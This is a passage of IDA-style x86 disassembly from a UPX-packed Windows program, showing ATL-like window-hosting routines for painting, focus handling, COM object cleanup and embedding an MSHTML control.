call dword_41D27C ; CallWindowProcW
mov ecx, edi
call sub_4024D9
and dword ptr [ebx], 0
loc_4023E3: ; CODE XREF: sub_402032+1ABj
; sub_402032+384j
test byte ptr [edi+0C8h], 8
jz short loc_402413
lea eax, [esp+18h+var_C]
push eax
push [ebp+arg_8]
mov eax, [ebp+arg_4]
mov [esp+20h+var_C], esi
mov esi, [ebp+arg_C]
call sub_404508
cmp [esp+18h+var_C], 0
mov [ebx], eax
jnz loc_40209C
xor esi, esi
inc esi
loc_402413: ; CODE XREF: sub_402032+3B8j
mov eax, [ebp+arg_4]
cmp eax, dword_42EEA8
jnz short loc_402434
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+10h]
mov edi, eax
loc_402427: ; CODE XREF: sub_402032+411j
mov eax, [edi]
push edi
call dword ptr [eax+4]
loc_40242D: ; CODE XREF: sub_402032+40Fj
mov [ebx], edi
jmp loc_40206C
; ---------------------------------------------------------------------------
loc_402434: ; CODE XREF: sub_402032+3EAj
cmp eax, dword_42EEAC
jnz short loc_402445
mov edi, [edi+60h]
test edi, edi
jz short loc_40242D
jmp short loc_402427
; ---------------------------------------------------------------------------
loc_402445: ; CODE XREF: sub_402032+408j
cmp eax, 37Fh
jnz short loc_40245C
push [ebp+arg_C]
push edi
call sub_402467
mov [ebx], eax
jmp loc_40206C
; ---------------------------------------------------------------------------
loc_40245C: ; CODE XREF: sub_402032+13j
; sub_402032+418j
xor eax, eax
loc_40245E: ; CODE XREF: sub_402032+3Cj
; sub_402032+6Dj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 18h
sub_402032 endp
; =============== S U B R O U T I N E =======================================
sub_402467 proc near ; CODE XREF: sub_402032+41Ep
push 0
mov eax, offset loc_41BF38
call sub_40C46D
mov eax, [ebp+8]
mov eax, [eax+60h]
xor ecx, ecx
mov [ebp+8], ecx
test eax, eax
jz short loc_402493
mov ecx, [eax]
lea edx, [ebp+8]
push edx
push offset dword_41D430
push eax
call dword ptr [ecx]
mov ecx, [ebp+8]
loc_402493: ; CODE XREF: sub_402467+19j
and dword ptr [ebp-4], 0
test ecx, ecx
jz short loc_4024C1
push dword ptr [ebp+0Ch]
mov eax, [ecx]
push ecx
call dword ptr [eax+14h]
test eax, eax
jnz short loc_4024BE
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [ebp+8]
test eax, eax
jz short loc_4024B9
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_4024B9: ; CODE XREF: sub_402467+4Aj
xor eax, eax
inc eax
jmp short loc_4024D1
; ---------------------------------------------------------------------------
loc_4024BE: ; CODE XREF: sub_402467+3Fj
mov ecx, [ebp+8]
loc_4024C1: ; CODE XREF: sub_402467+32j
or dword ptr [ebp-4], 0FFFFFFFFh
test ecx, ecx
jz short loc_4024CF
mov eax, [ecx]
push ecx
call dword ptr [eax+8]
loc_4024CF: ; CODE XREF: sub_402467+60j
xor eax, eax
loc_4024D1: ; CODE XREF: sub_402467+55j
call sub_40C50C
retn 8
sub_402467 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4024D9 proc near ; CODE XREF: sub_402032+3A9p
; UPX0:00402A5Ap ...
push 4
mov eax, offset loc_41BF5B
call sub_40C46D
mov esi, ecx
mov eax, [esi+98h]
test al, 40h
jnz loc_40261D
or eax, 40h
mov [esi+98h], eax
mov eax, [esi+70h]
xor edi, edi
cmp eax, edi
jz short loc_402511
mov ecx, [eax]
push edi
push edi
push 1
push eax
call dword ptr [ecx+1Ch]
loc_402511: ; CODE XREF: sub_4024D9+2Cj
mov ecx, [esi+94h]
cmp ecx, 0CDCDCDCDh
jz short loc_402539
mov eax, [esi+60h]
push ecx
lea ecx, [esi+80h]
push ecx
call sub_40154B
mov dword ptr [esi+94h], 0CDCDCDCDh
loc_402539: ; CODE XREF: sub_4024D9+44j
mov eax, [esi+64h]
cmp eax, edi
jz short loc_402561
push dword ptr [esi+9Ch]
mov ecx, [eax]
push eax
call dword ptr [ecx+50h]
mov eax, [esi+64h]
mov ecx, [eax]
push 1
push eax
call dword ptr [ecx+18h]
mov eax, [esi+64h]
mov ecx, [eax]
push edi
push eax
call dword ptr [ecx+0Ch]
loc_402561: ; CODE XREF: sub_4024D9+65j
mov eax, [esi+60h]
cmp eax, edi
jz short loc_40259B
mov [ebp-10h], edi
lea edx, [ebp-10h]
push edx
push offset dword_423B8C
mov [ebp-4], edi
mov ecx, [eax]
push eax
call dword ptr [ecx]
mov eax, [ebp-10h]
cmp eax, edi
jz short loc_40258D
mov ecx, [eax]
push edi
push eax
call dword ptr [ecx+0Ch]
mov eax, [ebp-10h]
loc_40258D: ; CODE XREF: sub_4024D9+A8j
or dword ptr [ebp-4], 0FFFFFFFFh
cmp eax, edi
jz short loc_40259B
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_40259B: ; CODE XREF: sub_4024D9+8Dj
; sub_4024D9+BAj
mov eax, [esi+70h]
cmp eax, edi
jz short loc_4025AB
mov [esi+70h], edi
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_4025AB: ; CODE XREF: sub_4024D9+C7j
mov [esi+90h], edi
mov eax, [esi+74h]
cmp eax, edi
jz short loc_4025C1
mov [esi+74h], edi
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_4025C1: ; CODE XREF: sub_4024D9+DDj
mov eax, [esi+64h]
cmp eax, edi
jz short loc_4025D1
mov [esi+64h], edi
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_4025D1: ; CODE XREF: sub_4024D9+EDj
mov eax, [esi+60h]
cmp eax, edi
jz short loc_4025E1
mov [esi+60h], edi
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_4025E1: ; CODE XREF: sub_4024D9+FDj
mov eax, [esi+6Ch]
cmp eax, edi
jz short loc_4025F1
mov [esi+6Ch], edi
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_4025F1: ; CODE XREF: sub_4024D9+10Dj
mov eax, [esi+68h]
cmp eax, edi
jz short loc_402601
mov [esi+68h], edi
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_402601: ; CODE XREF: sub_4024D9+11Dj
and dword ptr [esi+98h], 0FFFFFFA4h
add esi, 0C4h
mov eax, [esi]
cmp eax, edi
jz short loc_40261D
push eax
call dword_41D30C ; DestroyAcceleratorTable
mov [esi], edi
loc_40261D: ; CODE XREF: sub_4024D9+16j
; sub_4024D9+139j
call sub_40C50C
retn
sub_4024D9 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_402623 proc near ; CODE XREF: sub_402032+A8p
push 0
mov eax, offset loc_41BF38
call sub_40C46D
mov esi, ecx
mov eax, [ebp+8]
xor edi, edi
test dword ptr [esi+0A0h], 4000h
mov [eax], edi
jz short loc_40269D
cmp [esi+64h], edi
jz short loc_4026B4
test byte ptr [esi+98h], 1
jnz short loc_4026B4
mov [ebp+8], edi
mov [ebp-4], edi
mov eax, [esi]
call dword ptr [eax+10h]
mov ecx, [eax]
lea edx, [ebp+8]
push edx
push offset dword_423BEC
push eax
call dword ptr [ecx]
mov ecx, [ebp+8]
cmp ecx, edi
jz short loc_40268D
mov eax, [esi+64h]
mov edx, [eax]
lea ebx, [esi+0B4h]
push ebx
push dword ptr [esi+4]
push edi
push ecx
push edi
push 0FFFFFFFBh
push eax
call dword ptr [edx+2Ch]
mov ecx, [ebp+8]
loc_40268D: ; CODE XREF: sub_402623+4Dj
or dword ptr [ebp-4], 0FFFFFFFFh
cmp ecx, edi
jz short loc_4026B4
mov eax, [ecx]
push ecx
call dword ptr [eax+8]
jmp short loc_4026B4
; ---------------------------------------------------------------------------
loc_40269D: ; CODE XREF: sub_402623+1Fj
lea eax, [esi+98h]
or dword ptr [eax], 20h
test byte ptr [eax], 40h
jnz short loc_4026B4
lea eax, [ebp+8]
push eax
call sub_4026BE
loc_4026B4: ; CODE XREF: sub_402623+24j
; sub_402623+2Dj ...
xor eax, eax
call sub_40C50C
retn 4
sub_402623 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4026BE proc near ; CODE XREF: sub_402032+1D8p
; sub_402623+8Cp
push 4
mov eax, offset loc_41BF5B
call sub_40C46D
xor edi, edi
cmp [esi+64h], edi
jz short loc_402725
test byte ptr [esi+98h], 2
jnz short loc_402725
mov [ebp-10h], edi
mov [ebp-4], edi
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+10h]
mov ecx, [eax]
lea edx, [ebp-10h]
push edx
push offset dword_423BEC
push eax
call dword ptr [ecx]
mov ecx, [ebp-10h]
cmp ecx, edi
jz short loc_402717
mov eax, [esi+64h]
mov edx, [eax]
lea ebx, [esi+0B4h]
push ebx
push dword ptr [esi+4]
push edi
push ecx
push edi
push 0FFFFFFFCh
push eax
call dword ptr [edx+2Ch]
mov ecx, [ebp-10h]
loc_402717: ; CODE XREF: sub_4026BE+3Cj
or dword ptr [ebp-4], 0FFFFFFFFh
cmp ecx, edi
jz short loc_402725
mov eax, [ecx]
push ecx
call dword ptr [eax+8]
loc_402725: ; CODE XREF: sub_4026BE+11j
; sub_4026BE+1Aj ...
test byte ptr [esi+98h], 8
jz short loc_402733
push dword ptr [esi+4]
jmp short loc_402753
; ---------------------------------------------------------------------------
loc_402733: ; CODE XREF: sub_4026BE+6Ej
call dword_41D338 ; GetFocus
push eax
push dword ptr [esi+4]
call dword_41D328 ; IsChild
test eax, eax
jnz short loc_402759
push 5
push dword ptr [esi+4]
call dword_41D274 ; GetWindow
push eax
loc_402753: ; CODE XREF: sub_4026BE+73j
call dword_41D354 ; SetFocus
loc_402759: ; CODE XREF: sub_4026BE+87j
mov eax, [ebp+8]
mov [eax], edi
xor eax, eax
call sub_40C50C
retn 4
sub_4026BE endp
; =============== S U B R O U T I N E =======================================
sub_402768 proc near ; CODE XREF: sub_402032+89p
arg_0 = dword ptr 4
mov edx, [ebx+0B4h]
movsx eax, cx
shr ecx, 10h
push esi
mov esi, [ebx+0B8h]
movsx ecx, cx
add ecx, esi
add eax, edx
push edi
mov [ebx+0BCh], eax
mov [ebx+0C0h], ecx
sub ecx, esi
lea edi, [ebx+0ACh]
sub eax, edx
lea esi, [ebx+0A4h]
mov [edi], eax
mov [ebx+0B0h], ecx
call sub_404933
mov eax, [ebx+64h]
test eax, eax
jz short loc_4027BC
mov ecx, [eax]
push esi
push 1
push eax
call dword ptr [ecx+44h]
loc_4027BC: ; CODE XREF: sub_402768+49j
mov eax, [ebx+74h]
pop edi
pop esi
test eax, eax
jz short loc_4027D3
mov edx, [eax]
lea ecx, [ebx+0B4h]
push ecx
push ecx
push eax
call dword ptr [edx+1Ch]
loc_4027D3: ; CODE XREF: sub_402768+5Bj
test byte ptr [ebx+98h], 8
jz short loc_4027E9
push 1
lea eax, [ebx+2Ch]
mov ecx, [eax]
push 0
push eax
call dword ptr [ecx+64h]
loc_4027E9: ; CODE XREF: sub_402768+72j
mov eax, [esp+arg_0]
and dword ptr [eax], 0
xor eax, eax
retn 4
sub_402768 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4027F5 proc near ; CODE XREF: sub_402032+19Fp
; sub_402032+31Cp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov eax, [ecx+98h]
and [ebp+var_4], 0
test al, 1
jz short loc_40282A
test al, 8
jz short loc_40282A
mov eax, [ecx+74h]
test eax, eax
jz short loc_40282A
mov ecx, [eax]
lea edx, [ebp+var_4]
push edx
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
call dword ptr [ecx+24h]
cmp eax, 1
jnz short loc_402830
loc_40282A: ; CODE XREF: sub_4027F5+10j
; sub_4027F5+14j ...
mov eax, [ebp+arg_C]
and dword ptr [eax], 0
loc_402830: ; CODE XREF: sub_4027F5+33j
mov eax, [ebp+var_4]
leave
retn 10h
sub_4027F5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402837 proc near ; CODE XREF: sub_402032+155p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov eax, [ecx+98h]
and [ebp+var_4], 0
test al, 1
jz short loc_402867
test al, 8
jz short loc_402867
mov eax, [ecx+74h]
test eax, eax
jz short loc_402867
mov ecx, [eax]
lea edx, [ebp+var_4]
push edx
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
call dword ptr [ecx+24h]
loc_402867: ; CODE XREF: sub_402837+10j
; sub_402837+14j ...
mov eax, [ebp+arg_C]
and dword ptr [eax], 0
mov eax, [ebp+var_4]
leave
retn 10h
sub_402837 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402874 proc near ; CODE XREF: sub_402032+55p
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = byte ptr -4Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 6Ch
mov eax, dword_42A034
xor eax, ebp
mov [ebp+var_8], eax
mov eax, [ebp+arg_0]
push ebx
push edi
xor edi, edi
cmp [esi+70h], edi
jnz short loc_4028F1
lea eax, [ebp+var_4C]
push eax
push dword ptr [esi+4]
call dword_41D358 ; BeginPaint
mov [ebp+var_50], eax
cmp eax, edi
jz loc_4029D6
lea eax, [ebp+var_60]
push eax
push dword ptr [esi+4]
call dword_41D34C ; GetClientRect
push dword ptr [esi+0CCh]
call dword_41D054 ; CreateSolidBrush
mov ebx, eax
cmp ebx, edi
jz short loc_4028DC
push ebx
lea eax, [ebp+var_60]
push eax
push [ebp+var_50]
call dword_41D324 ; FillRect
push ebx
loc_4028D6: ; CODE XREF: sub_402874+15Bj
call dword_41D038 ; DeleteObject
loc_4028DC: ; CODE XREF: sub_402874+51j
; sub_402874+CBj
lea eax, [ebp+var_4C]
push eax
push dword ptr [esi+4]
call dword_41D2FC ; EndPaint
xor eax, eax
inc eax
jmp loc_4029D8
; ---------------------------------------------------------------------------
loc_4028F1: ; CODE XREF: sub_402874+1Aj
test byte ptr [esi+98h], 8
jz loc_4029D4
lea eax, [ebp+var_4C]
push eax
push dword ptr [esi+4]
call dword_41D358 ; BeginPaint
mov ebx, eax
mov [ebp+var_64], ebx
cmp ebx, edi
jz loc_4029D6
lea eax, [ebp+var_60]
push eax
push dword ptr [esi+4]
call dword_41D34C ; GetClientRect
mov eax, [ebp+var_54]
sub eax, [ebp+var_5C]
push eax
mov eax, [ebp+var_58]
sub eax, [ebp+var_60]
push eax
push ebx
call dword_41D044 ; CreateCompatibleBitmap
mov [ebp+var_50], eax
cmp eax, edi
jz short loc_4028DC
push ebx
call dword_41D040 ; CreateCompatibleDC
mov ebx, eax
cmp ebx, edi
jz short loc_4029CC
push [ebp+var_50]
push ebx
call dword_41D03C ; SelectObject
mov [ebp+var_6C], eax
cmp eax, edi
jz short loc_4029C5
push dword ptr [esi+0CCh]
call dword_41D054 ; CreateSolidBrush
mov [ebp+var_68], eax
cmp eax, edi
jz short loc_4029BB
push eax
lea eax, [ebp+var_60]
push eax
push ebx
call dword_41D324 ; FillRect
push [ebp+var_68]
call dword_41D038 ; DeleteObject
mov eax, [esi+70h]
mov edx, [eax]
push edi
push edi
lea ecx, [esi+0B4h]
push ecx
push ecx
push ebx
push edi
push edi
push edi
push 0FFFFFFFFh
push 1
push eax
call dword ptr [edx+0Ch]
push 0CC0020h
push edi
push edi
push ebx
push [ebp+var_54]
push [ebp+var_58]
push edi
push edi
push [ebp+var_64]
call dword_41D028 ; BitBlt
loc_4029BB: ; CODE XREF: sub_402874+FCj
push [ebp+var_6C]
push ebx
call dword_41D03C ; SelectObject
loc_4029C5: ; CODE XREF: sub_402874+E9j
push ebx
call dword_41D02C ; DeleteDC
loc_4029CC: ; CODE XREF: sub_402874+D8j
push [ebp+var_50]
jmp loc_4028D6
; ---------------------------------------------------------------------------
loc_4029D4: ; CODE XREF: sub_402874+84j
mov [eax], edi
loc_4029D6: ; CODE XREF: sub_402874+2Ej
; sub_402874+9Ej
xor eax, eax
loc_4029D8: ; CODE XREF: sub_402874+78j
mov ecx, [ebp+var_8]
pop edi
xor ecx, ebp
pop ebx
call sub_40AC1C
leave
retn 4
sub_402874 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+8]
mov ecx, [eax]
and dword ptr [ebp-4], 0
push edi
push 0
push 0
push offset dword_41D440
lea edx, [ebp-4]
push edx
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push eax
call dword ptr [ecx+28h]
mov edi, eax
mov eax, [ebp-4]
test eax, eax
jz short loc_402A1F
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_402A1F: ; CODE XREF: UPX0:00402A17j
mov eax, edi
pop edi
leave
retn 10h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, [ebp+8]
mov ecx, [eax]
push 0
push dword ptr [ebp+20h]
push dword ptr [ebp+1Ch]
push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push eax
call dword ptr [ecx+28h]
pop ebp
retn 1Ch
; ---------------------------------------------------------------------------
push ebx
push ebp
push esi
push edi
mov edi, [esp+14h]
lea esi, [edi-24h]
xor ebx, ebx
mov ecx, esi
inc ebx
call sub_4024D9
mov eax, [edi-20h]
mov ebp, dword_41D2B0
mov byte ptr [esp+14h], 0
test eax, eax
jz short loc_402A88
cmp eax, [esp+1Ch]
jz short loc_402A88
push 507h
push 0
push 0
push eax
call ebp ; dword_41D2B0
call sub_4044BB
loc_402A88: ; CODE XREF: UPX0:00402A6Fj
; UPX0:00402A75j
push dword ptr [esp+1Ch]
call dword_41D294 ; IsWindow
test eax, eax
jz short loc_402AE4
mov ebx, [esp+1Ch]
cmp [edi-20h], ebx
jz short loc_402AA9
call sub_404477
mov byte ptr [esp+14h], 1
loc_402AA9: ; CODE XREF: UPX0:00402A9Dj
push 0
push 1
push dword ptr [esp+20h]
mov ecx, esi
call sub_404083
mov ebx, eax
test ebx, ebx
jge short loc_402AE4
mov ecx, esi
call sub_4024D9
mov edi, [edi-20h]
test edi, edi
jz short loc_402AE4
push 507h
push 0
push 0
push edi
call ebp ; dword_41D2B0
cmp byte ptr [esp+14h], 0
jz short loc_402AE4
call sub_4044BB
loc_402AE4: ; CODE XREF: UPX0:00402A94j
; UPX0:00402ABCj ...
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
mov ecx, [esp+0Ch]
mov eax, 80004003h
test ecx, ecx
jz short locret_402B19
mov eax, [esp+4]
mov eax, [eax+3Ch]
test eax, eax
jz short loc_402B11
mov edx, [eax]
push ecx
push dword ptr [esp+0Ch]
push eax
call dword ptr [edx]
jmp short locret_402B19
; ---------------------------------------------------------------------------
loc_402B11: ; CODE XREF: UPX0:00402B03j
and dword ptr [ecx], 0
mov eax, 80040004h
locret_402B19: ; CODE XREF: UPX0:00402AF8j
; UPX0:00402B0Fj
retn 0Ch
; ---------------------------------------------------------------------------
push esi
mov esi, [esp+8]
push edi
mov edi, [esp+10h]
add esi, 54h
cmp [esi], edi
jz short loc_402B32
call sub_4011B4
loc_402B32: ; CODE XREF: UPX0:00402B2Bj
pop edi
xor eax, eax
pop esi
retn 8
; ---------------------------------------------------------------------------
push esi
mov esi, [esp+8]
push edi
mov edi, [esp+10h]
add esi, 58h
cmp [esi], edi
jz short loc_402B4F
call sub_4011B4
loc_402B4F: ; CODE XREF: UPX0:00402B48j
pop edi
xor eax, eax
pop esi
retn 8
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+8]
mov ecx, [eax]
and dword ptr [ebp-4], 0
push esi
push dword ptr [ebp+18h]
lea edx, [ebp-4]
push 0
push offset dword_41D440
push edx
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push eax
call dword ptr [ecx+28h]
mov esi, eax
mov eax, [ebp-4]
test eax, eax
jz short loc_402B8E
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_402B8E: ; CODE XREF: UPX0:00402B86j
mov eax, esi
pop esi
leave
retn 14h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
and esp, 0FFFFFFF8h
mov eax, [ebp+18h]
sub esp, 3Ch
push ebx
push esi
push edi
test eax, eax
jnz short loc_402BB2
mov eax, 80004003h
jmp loc_402EA4
; ---------------------------------------------------------------------------
loc_402BB2: ; CODE XREF: UPX0:00402BA6j
mov edi, [ebp+8]
and dword ptr [eax], 0
lea esi, [edi-24h]
mov ecx, esi
mov dword ptr [esp+10h], 1
mov byte ptr [esp+0Fh], 0
mov [esp+24h], esi
call sub_4024D9
lea ebx, [edi-20h]
mov eax, [ebx]
mov [esp+18h], ebx
test eax, eax
jz short loc_402BFA
cmp eax, [ebp+10h]
jz short loc_402BFA
push 507h
push 0
push 0
push eax
call dword_41D2B0 ; RedrawWindow
call sub_4044BB
loc_402BFA: ; CODE XREF: UPX0:00402BDEj
; UPX0:00402BE3j
push dword ptr [ebp+10h]
call dword_41D294 ; IsWindow
test eax, eax
jz loc_402EA0
mov eax, [ebp+10h]
cmp [ebx], eax
jz short loc_402C22
mov ebx, eax
call sub_404477
mov ebx, [esp+18h]
mov byte ptr [esp+0Fh], 1
loc_402C22: ; CODE XREF: UPX0:00402C10j
cmp dword ptr [edi+0A8h], 0
jnz short loc_402C47
push ebx
call sub_40188D
test eax, eax
jz short loc_402C39
push 0Fh
jmp short loc_402C3B
; ---------------------------------------------------------------------------
loc_402C39: ; CODE XREF: UPX0:00402C33j
push 5
loc_402C3B: ; CODE XREF: UPX0:00402C37j
call dword_41D2A8 ; GetSysColor
mov [edi+0A8h], eax
loc_402C47: ; CODE XREF: UPX0:00402C29j
mov esi, [ebp+18h]
push dword ptr [ebp+24h]
mov ecx, [ebp+0Ch]
lea edi, [esp+12h]
mov ebx, esi
mov byte ptr [esp+12h], 0
call sub_417A85
xor ebx, ebx
cmp eax, ebx
pop ecx
mov [esp+10h], eax
jl short loc_402C7E
push dword ptr [ebp+14h]
mov ecx, [esp+28h]
push ebx
push dword ptr [esi]
call sub_404083
mov [esp+10h], eax
loc_402C7E: ; CODE XREF: UPX0:00402C69j
cmp [esp+10h], ebx
mov edx, [ebp+8]
mov esi, [ebp+1Ch]
lea ecx, [edx+5Ch]
mov edi, ecx
movsd
movsd
movsd
movsd
jl loc_402E6B
mov edi, [ebp+18h]
mov eax, [edi]
cmp eax, ebx
jz short loc_402CB2
cmp [ebp+20h], ebx
jz short loc_402CB2
add edx, 70h
push edx
push ecx
push dword ptr [ebp+20h]
call sub_4014D6
loc_402CB2: ; CODE XREF: UPX0:00402C9Ej
; UPX0:00402CA3j
cmp [esp+0Eh], bl
jz loc_402E5D
cmp [edi], ebx
jz loc_402E5D
mov eax, [esp+18h]
mov esi, dword_41D2CC
push 0FFFFFFF0h
push dword ptr [eax]
call esi ; dword_41D2CC
test eax, 300000h
jnz short loc_402CE7
mov eax, [ebp+8]
or dword ptr [eax+0BCh], 8
jmp short loc_402D14
; ---------------------------------------------------------------------------
loc_402CE7: ; CODE XREF: UPX0:00402CD9j
mov eax, [esp+18h]
push 0FFFFFFF0h
push dword ptr [eax]
call esi ; dword_41D2CC
mov esi, [esp+18h]
and eax, 0FFCFFFFFh
push eax
push 0FFFFFFF0h
push dword ptr [esi]
call dword_41D2B4 ; SetWindowLongW
push 37h
push ebx
push ebx
push ebx
push ebx
push ebx
push dword ptr [esi]
call dword_41D2A4 ; SetWindowPos
loc_402D14: ; CODE XREF: UPX0:00402CE5j
mov edi, [edi]
mov [esp+20h], edi
cmp edi, ebx
jz short loc_402D24
mov eax, [edi]
push edi
call dword ptr [eax+4]
loc_402D24: ; CODE XREF: UPX0:00402D1Cj
mov esi, [ebp+0Ch]
movzx eax, word ptr [esi]
cmp ax, 4Dh
jz short loc_402D3A
cmp ax, 6Dh
jnz loc_402EB7
loc_402D3A: ; CODE XREF: UPX0:00402D2Ej
movzx eax, word ptr [esi+2]
cmp ax, 53h
jz short loc_402D4E
cmp ax, 73h
jnz loc_402EB7
loc_402D4E: ; CODE XREF: UPX0:00402D42j
movzx eax, word ptr [esi+4]
cmp ax, 48h
jz short loc_402D62
cmp ax, 68h
jnz loc_402EB7
loc_402D62: ; CODE XREF: UPX0:00402D56j
movzx eax, word ptr [esi+6]
cmp ax, 54h
jz short loc_402D76
cmp ax, 74h
jnz loc_402EB7
loc_402D76: ; CODE XREF: UPX0:00402D6Aj
movzx eax, word ptr [esi+8]
cmp ax, 4Dh
jz short loc_402D8A
cmp ax, 6Dh
jnz loc_402EB7
loc_402D8A: ; CODE XREF: UPX0:00402D7Ej
movzx eax, word ptr [esi+0Ah]
cmp ax, 4Ch
jz short loc_402D9E
cmp ax, 6Ch
jnz loc_402EB7
loc_402D9E: ; CODE XREF: UPX0:00402D92j
cmp word ptr [esi+0Ch], 3Ah
jnz loc_402EB7
push esi
call dword_41D1F0 ; lstrlenW
lea edi, [eax+eax-0Eh]
push edi
push 42h
call dword_41D208 ; GlobalAlloc
mov ebx, eax
test ebx, ebx
jz loc_402EAD
and dword ptr [esp+1Ch], 0
push ebx
call dword_41D210 ; GlobalLock
push edi
add esi, 0Eh
push esi
push edi
push eax
call sub_401125
; ---------------------------------------------------------------------------
add esp, 10h
push ebx
call dword_41D1EC ; GlobalUnlock
lea eax, [esp+1Ch]
push eax
push 1
push ebx
call dword_41D3A8
mov [esp+10h], eax
test eax, eax
jl short loc_402E3F
mov eax, [esp+20h]
mov ecx, [eax]
and dword ptr [esp+14h], 0
lea edx, [esp+14h]
push edx
push offset dword_424284
push eax
call dword ptr [ecx]
mov [esp+10h], eax
test eax, eax
jl short loc_402E31
mov eax, [esp+14h]
push dword ptr [esp+1Ch]
mov ecx, [eax]
push eax
call dword ptr [ecx+14h]
mov [esp+10h], eax
loc_402E31: ; CODE XREF: UPX0:00402E1Dj
mov eax, [esp+14h]
test eax, eax
jz short loc_402E3F
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_402E3F: ; CODE XREF: UPX0:00402DFDj
; UPX0:00402E37j
mov eax, [esp+1Ch]
test eax, eax
jz short loc_402E4D
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_402E4D: ; CODE XREF: UPX0:00402E45j
; UPX0:00402EB5j
xor ebx, ebx
loc_402E4F: ; CODE XREF: UPX0:00402ECEj
; UPX0:00402F5Ej ...
mov eax, [esp+20h]
cmp eax, ebx
jz short loc_402E5D
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_402E5D: ; CODE XREF: UPX0:00402CB6j
; UPX0:00402CBEj ...
cmp [esp+10h], ebx
jl short loc_402E6B
mov eax, [ebp+8]
cmp [eax+3Ch], ebx
jnz short loc_402EA0
loc_402E6B: ; CODE XREF: UPX0:00402C91j
; UPX0:00402E61j
mov esi, [esp+24h]
mov ecx, esi
call sub_4024D9
mov eax, [esp+18h]
mov eax, [eax]
cmp eax, ebx
jz short loc_402EA0
push 507h
push ebx
push ebx
push eax
call dword_41D2B0 ; RedrawWindow
cmp [esp+10h], ebx
jge short loc_402EA0
cmp byte ptr [esp+0Fh], 0
jz short loc_402EA0
call sub_4044BB
loc_402EA0: ; CODE XREF: UPX0:00402C05j
; UPX0:00402E69j ...
mov eax, [esp+10h]
loc_402EA4: ; CODE XREF: UPX0:00402BADj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 20h
; ---------------------------------------------------------------------------
loc_402EAD: ; CODE XREF: UPX0:00402DC1j
mov dword ptr [esp+10h], 8007000Eh
jmp short loc_402E4D
; ---------------------------------------------------------------------------
loc_402EB7: ; CODE XREF: UPX0:00402D34j
; UPX0:00402D48j ...
mov eax, [edi]
lea ecx, [esp+14h]
push ecx
push offset dword_4242D4
push edi
mov [esp+20h], ebx
call dword ptr [eax]
cmp [esp+14h], ebx
jz loc_402E4F
lea eax, [esp+38h]
push eax
call dword_41D248
mov edi, dword_41D23C
xor eax, eax
mov [esp+28h], ax
lea eax, [esp+28h]
push eax
call edi ; dword_41D23C
push 8
pop eax
push esi
mov [esp+2Ch], ax
call dword_41D234
mov [esp+30h], eax
cmp eax, ebx
jnz short loc_402F21
push 0Ah
pop eax
mov [esp+28h], ax
mov eax, 8007000Eh
push eax
mov [esp+34h], eax
call sub_4010D8
; ---------------------------------------------------------------------------
loc_402F21: ; CODE XREF: UPX0:00402F08j
mov eax, [esp+14h]
mov ecx, [eax]
push 0FFFFFFFFh
push eax
call dword ptr [ecx+0A4h]
mov eax, [esp+14h]
mov ecx, [eax]
lea edx, [esp+38h]
push edx
push edx
push edx
push edx
lea edx, [esp+38h]
push edx
push eax
call dword ptr [ecx+0D0h]
lea eax, [esp+28h]
push eax
call edi ; dword_41D23C
lea eax, [esp+38h]
push eax
call edi ; dword_41D23C
mov eax, [esp+14h]
cmp eax, ebx
jz loc_402E4F
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
jmp loc_402E4F
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402F6F proc near ; DATA XREF: UPX0:00424190o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
